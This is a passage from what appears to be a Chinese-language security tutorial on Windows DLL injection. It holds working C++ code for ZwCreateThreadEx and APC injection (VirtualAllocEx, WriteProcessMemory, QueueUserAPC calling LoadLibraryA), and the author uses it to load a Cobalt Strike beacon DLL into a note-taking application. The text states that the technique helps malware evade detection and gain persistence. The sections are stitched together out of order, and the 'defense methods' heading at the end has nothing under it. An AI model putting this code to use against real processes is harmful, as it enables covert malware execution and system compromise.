typedef_ZwCreateThreadEx ZwCreateThreadEx=(typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL==ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
return FALSE;
}
// 使用 ZwCreateThreadEx 創(chuàng)建遠(yuǎn)線程, 實現(xiàn) DLL 注入
dwStatus=ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL==ZwCreateThreadEx)
{
ShowError("ZwCreateThreadEx - Error!\n\n");
return FALSE;
}
// 關(guān)閉句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll);
return TRUE;
}
int main(int argc, char* argv[])
{
#ifdef _WIN64
BOOL bRet=ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll");
#else
BOOL bRet=ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll");
#endif
if (FALSE==bRet)
{
printf("Inject Dll Error!\n\n");
}
printf("Inject Dll OK!\n\n");
return 0;
}
因為在dll注入的過程中是看不到messagebox的,所以這里我選擇cs注入進(jìn)行測試,若注入成功即可上線
首先生成一個32位的dll文件,這里跟位數(shù)有關(guān),我選擇注入的是32位的進(jìn)程,所以這里我選擇生成32位的dll
得到路徑
這里我選擇的是有道云筆記進(jìn)行注入,查看一下pid
然后把我們函數(shù)的pid改為有道云的pid
實現(xiàn)效果如下所示
APC,全稱為Asynchronous Procedure Call,即異步過程調(diào)用,是指函數(shù)在特定線程中被異步執(zhí)行,在操作系統(tǒng)中,APC是一種并發(fā)機制。
這里去看一下msdn中異步過程調(diào)用的解釋如下
首先第一個函數(shù)
QueueUserApc: 函數(shù)作用,添加指定的異步函數(shù)調(diào)用(回調(diào)函數(shù))到執(zhí)行的線程的APC隊列中
APCproc: 函數(shù)作用: 回調(diào)函數(shù)的寫法.
往線程APC隊列添加APC,系統(tǒng)會產(chǎn)生一個軟中斷。在線程下一次被調(diào)度的時候,就會執(zhí)行APC函數(shù),APC有兩種形式,由系統(tǒng)產(chǎn)生的APC稱為內(nèi)核模式APC,由應(yīng)用程序產(chǎn)生的APC被稱為用戶模式APC。這里介紹一下應(yīng)用程序的APC,APC是往線程中插入一個回調(diào)函數(shù),但是用的APC調(diào)用這個回調(diào)函數(shù)是有條件的,如msdn所示
QueueUserAPC
DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);
QueueUserAPC 函數(shù)的第一個參數(shù)表示執(zhí)行函數(shù)的地址,當(dāng)開始執(zhí)行該APC的時候,程序會跳轉(zhuǎn)到該函數(shù)地址處來執(zhí)行。第二個參數(shù)表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT 訪問權(quán)限。第三個參數(shù)表示傳遞給執(zhí)行函數(shù)的參數(shù),與遠(yuǎn)線程注入類似,如果QueueUserAPC 的第一個參數(shù)為LoadLibraryA,第三個參數(shù)設(shè)置的是dll路徑即可完成dll注入。
在 Windows系統(tǒng)中,每個線程都會維護一個線程 APC隊列,通過QucueUserAPC把一個APC 函數(shù)添加到指定線程的APC隊列中。每個線程都有自己的APC隊列,這個 APC隊列記錄了要求線程執(zhí)行的一些APC函數(shù)。Windows系統(tǒng)會發(fā)出一個軟中斷去執(zhí)行這些APC 函數(shù),對于用戶模式下的APC 隊列,當(dāng)線程處在可警告狀態(tài)時才會執(zhí)行這些APC 函數(shù)。一個線程在內(nèi)部使用SignalObjectAndWait 、 SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函數(shù)把自己掛起時就是進(jìn)入可警告狀態(tài),此時便會執(zhí)行APC隊列函數(shù)。
通俗點來概括過程可分為以下幾步:
1)當(dāng)EXE里某個線程執(zhí)行到SleepEx()或者WaitForSingleObjectEx()時,系統(tǒng)就會產(chǎn)生一個軟中斷(或者是Messagebox彈窗的時候不點OK的時候也能注入)。
2)當(dāng)線程再次被喚醒時,此線程會首先執(zhí)行APC隊列中的被注冊的函數(shù)。
3)利用QueueUserAPC()這個API可以在軟中斷時向線程的APC隊列插入一個函數(shù)指針,如果我們插入的是Loadlibrary()執(zhí)行函數(shù)的話,就能達(dá)到注入DLL的目的。
但是想要使用apc注入也有以下兩點條件:
1.必須是多線程環(huán)境下
2.注入的程序必須會調(diào)用那些同步對象
每一個進(jìn)程的每一個線程都有自己的APC隊列,我們可以使用QueueUserAPC函數(shù)把一個APC函數(shù)壓入APC隊列中。當(dāng)處于用戶模式的APC被壓入到線程APC隊列后,線程并不會立刻執(zhí)行壓入的APC函數(shù),而是要等到線程處于可通知狀態(tài)(alertable)才會執(zhí)行,即只有當(dāng)一個線程內(nèi)部調(diào)用SleepEx等上面說到的幾個特定函數(shù)將自己處于掛起狀態(tài)時,才會執(zhí)行APC隊列函數(shù),執(zhí)行順序與普通隊列相同,先進(jìn)先出(FIFO),在整個執(zhí)行過程中,線程并無任何異常舉動,不容易被察覺,但缺點是對于單線程程序一般不存在掛起狀態(tài),所以APC注入對于這類程序沒有明顯效果。
這里的常規(guī)思路是編寫一個根據(jù)進(jìn)程名獲取pid的函數(shù),然后根據(jù)PID獲取所有的線程ID,這里我就將兩個函數(shù)集合在一起,通過自己輸入PID來獲取指定進(jìn)程的線程并寫入數(shù)組
//列出指定進(jìn)程的所有線程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申請空間
DWORD dwThreadIdListLength=0;
DWORD dwThreadIdListMaxCount=2000;
LPDWORD pThreadIdList=NULL;
HANDLE hThreadSnap=INVALID_HANDLE_VALUE;
pThreadIdList=(LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList==NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32={ 0 };
// 拍攝快照
hThreadSnap=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap==INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 結(jié)構(gòu)的大小
th32.dwSize=sizeof(THREADENTRY32);
// 遍歷所有THREADENTRY32結(jié)構(gòu), 按順序填入數(shù)組
BOOL bRet=Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID==th32ProcessID)
{
if (dwThreadIdListLength >=dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++]=th32.th32ThreadID;
}
bRet=Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength=dwThreadIdListLength;
*ppThreadIdList=pThreadIdList;
return TRUE;
}
然后是apc注入的主函數(shù),首先使用VirtualAllocEx遠(yuǎn)程申請內(nèi)存
lpAddr=::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
然后使用WriteProcessMemory把dll路徑寫入內(nèi)存
::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)
再獲取LoadLibraryA的地址
PVOID loadLibraryAddress=::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
遍歷線程并插入APC,這里定義一個fail并進(jìn)行判斷,如果QueueUserAPC返回的值為NULL則線程遍歷失敗,fail的值就+1
for (int i=dwThreadIdListLength - 1; i >=0; i--)
{
// 打開線程
HANDLE hThread=::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
}
}
然后在到主函數(shù),定義dll地址
strcpy_s(wzDllFullPath, "C:\Users\61408\Desktop\artifact.dll");
使用OpenProcess打開句柄
HANDLE hProcess=OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
調(diào)用之前寫好的APCInject函數(shù)實現(xiàn)APC注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
完整代碼如下
// APCInject.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開始并結(jié)束。
//
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
void ShowError(const char* pszText)
{
char szError[MAX_PATH]={ 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
//列出指定進(jìn)程的所有線程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申請空間
DWORD dwThreadIdListLength=0;
DWORD dwThreadIdListMaxCount=2000;
LPDWORD pThreadIdList=NULL;
HANDLE hThreadSnap=INVALID_HANDLE_VALUE;
pThreadIdList=(LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList==NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32={ 0 };
// 拍攝快照
hThreadSnap=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap==INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 結(jié)構(gòu)的大小
th32.dwSize=sizeof(THREADENTRY32);
//遍歷所有THREADENTRY32結(jié)構(gòu), 按順序填入數(shù)組
BOOL bRet=Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID==th32ProcessID)
{
if (dwThreadIdListLength >=dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++]=th32.th32ThreadID;
}
bRet=Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength=dwThreadIdListLength;
*ppThreadIdList=pThreadIdList;
return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 申請內(nèi)存
PVOID lpAddr=NULL;
SIZE_T page_size=4096;
lpAddr=::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr==NULL)
{
ShowError("VirtualAllocEx - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路徑復(fù)制到內(nèi)存中
if (FALSE==::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 獲得LoadLibraryA的地址
PVOID loadLibraryAddress=::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 遍歷線程, 插入APC
float fail=0;
for (int i=dwThreadIdListLength - 1; i >=0; i--)
{
// 打開線程
HANDLE hThread=::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
// 關(guān)閉線程句柄
::CloseHandle(hThread);
hThread=NULL;
}
}
printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);
if ((int)fail==0 || dwThreadIdListLength / fail > 0.5)
{
printf("Success to Inject APC\n");
return TRUE;
}
else
{
printf("Inject may be failed\n");
return FALSE;
}
}
int main()
{
ULONG32 ulProcessID=0;
printf("Input the Process ID:");
cin >> ulProcessID;
CHAR wzDllFullPath[MAX_PATH]={ 0 };
LPDWORD pThreadIdList=NULL;
DWORD dwThreadIdListLength=0;
#ifndef _WIN64
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
#else // _WIN64
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
#endif
if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
{
printf("Can not list the threads\n");
exit(0);
}
//打開句柄
HANDLE hProcess=OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if (hProcess==NULL)
{
printf("Failed to open Process\n");
return FALSE;
}
//注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
return 0;
}
之前說過我沒有使用進(jìn)程名 -> pid的方式,而是直接采用手動輸入的方式,通過cin >> ulProcessID將接收到的參數(shù)賦給ulProcessID
這里可以選擇寫一個MessageBox的dll,這里我直接用的是cs的dll,演示效果如下所示
最后
關(guān)注私我獲取【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
進(jìn)程注入是一種廣泛應(yīng)用于惡意軟件或無文件攻擊中的躲避檢測的技術(shù)。其需要在另一個進(jìn)程的地址空間內(nèi)運行特制代碼,進(jìn)程注入改善了不可見性、同時一些技術(shù)也實現(xiàn)了持久化。
而所謂的DLL注入是諸多進(jìn)程注入方法中最常用的技術(shù)。惡意軟件將惡意的動態(tài)鏈接庫的路徑寫入另一個進(jìn)程的虛擬地址空間內(nèi),通過在目標(biāo)進(jìn)程中創(chuàng)建遠(yuǎn)程線程來確保遠(yuǎn)程進(jìn)程加載它。而因為DLL本身是由感染后的進(jìn)程加載的同時PE文件也并沒有對系統(tǒng)進(jìn)行過多的敏感操作,所以這種技術(shù)具有相當(dāng)強的一種隱蔽性。
01
注入原理
關(guān)鍵函數(shù):CreateRemoteThread()
利用Windows遠(yuǎn)程線程機制,需要在本地進(jìn)程中通過CreateRemoteThread函數(shù)在其他進(jìn)程中開啟并運行一個線程。因此,把LoadLibrary 函數(shù)作為 CreateRemoteThread開啟的線程函數(shù),把要加載的DLL路徑作為線程函數(shù)的參數(shù)即可。
為了使遠(yuǎn)程進(jìn)程執(zhí)行LoadLibrary函數(shù)加載DLL文件,卻面臨著兩個棘手的問題:
如何向遠(yuǎn)程進(jìn)程傳遞需要加載的DLL路徑? ------①
如何獲得遠(yuǎn)程進(jìn)程中LoadLibrary函數(shù)的地址?----②
為了解決這些問題,我們在后面會一一給出解決方案
02
注入過程
為了解決問題①,我們可以通過Windows API函數(shù)把路徑寫入遠(yuǎn)程進(jìn)程中,主要包括:OpenProcess(),VirtualAllowEx(),WriteProcessMemory(),VirtualFreeEx()等把DLL路徑加載到遠(yuǎn)程進(jìn)程中。具體流程如下
1、獲取目標(biāo)進(jìn)程句柄
使用OpenProcess()函數(shù)打開遠(yuǎn)程進(jìn)程的句柄。
2、在目標(biāo)進(jìn)程分配內(nèi)存空間
使用VirtualAllowEx()函數(shù)在目標(biāo)進(jìn)程中分配足夠的內(nèi)存空間,用于保存要加載DLL的路徑。
3、寫入DLL路徑至目標(biāo)進(jìn)程
使用WriteProcessMemory()函數(shù)把需要加載的DLL路徑寫入到遠(yuǎn)程進(jìn)程分配的內(nèi)存空間。
4、獲取LoadLibraryW地址
為了解決問題②,我們需要明確Kernel32.dll是系統(tǒng)基本庫,且Windows系統(tǒng)中,所有進(jìn)程加載Kernel32.dll模塊基址是固定且一致的,所以只需獲取本地進(jìn)程中LoadLibrary地址。同理LoadLibraryW函數(shù)位于kernel32.dll中,并且系統(tǒng)核心DLL會加載到固定地址,所以系統(tǒng)中所有進(jìn)程的LoadLibraryW函數(shù)地址是相通的。用GetProcAddress函數(shù)獲取本地進(jìn)程LoadLibraryW地址即可。
5、在目標(biāo)進(jìn)程中運行遠(yuǎn)程線程
用 CreateRemoteThread 函數(shù)在遠(yuǎn)程進(jìn)程中創(chuàng)建一個線程,讓新線程調(diào)用正確的LoadLibrary函數(shù)并在參數(shù)中傳入第2步分配的內(nèi)存地址。這時,DLL已經(jīng)被注入到遠(yuǎn)程進(jìn)程的地址空間中,DLL的DllMain函數(shù)會收到DLL_PROCESS_ATTACH 通知并且可以執(zhí)行我們想要執(zhí)行的代碼。當(dāng)DllMain返回的時候,遠(yuǎn)程線程會從LoadLibraryW/A調(diào)用返回到BaseThreadStart函數(shù)。BaseThreadStart函數(shù)然后調(diào)用ExitThread,使遠(yuǎn)程線程終止。
03
防御方法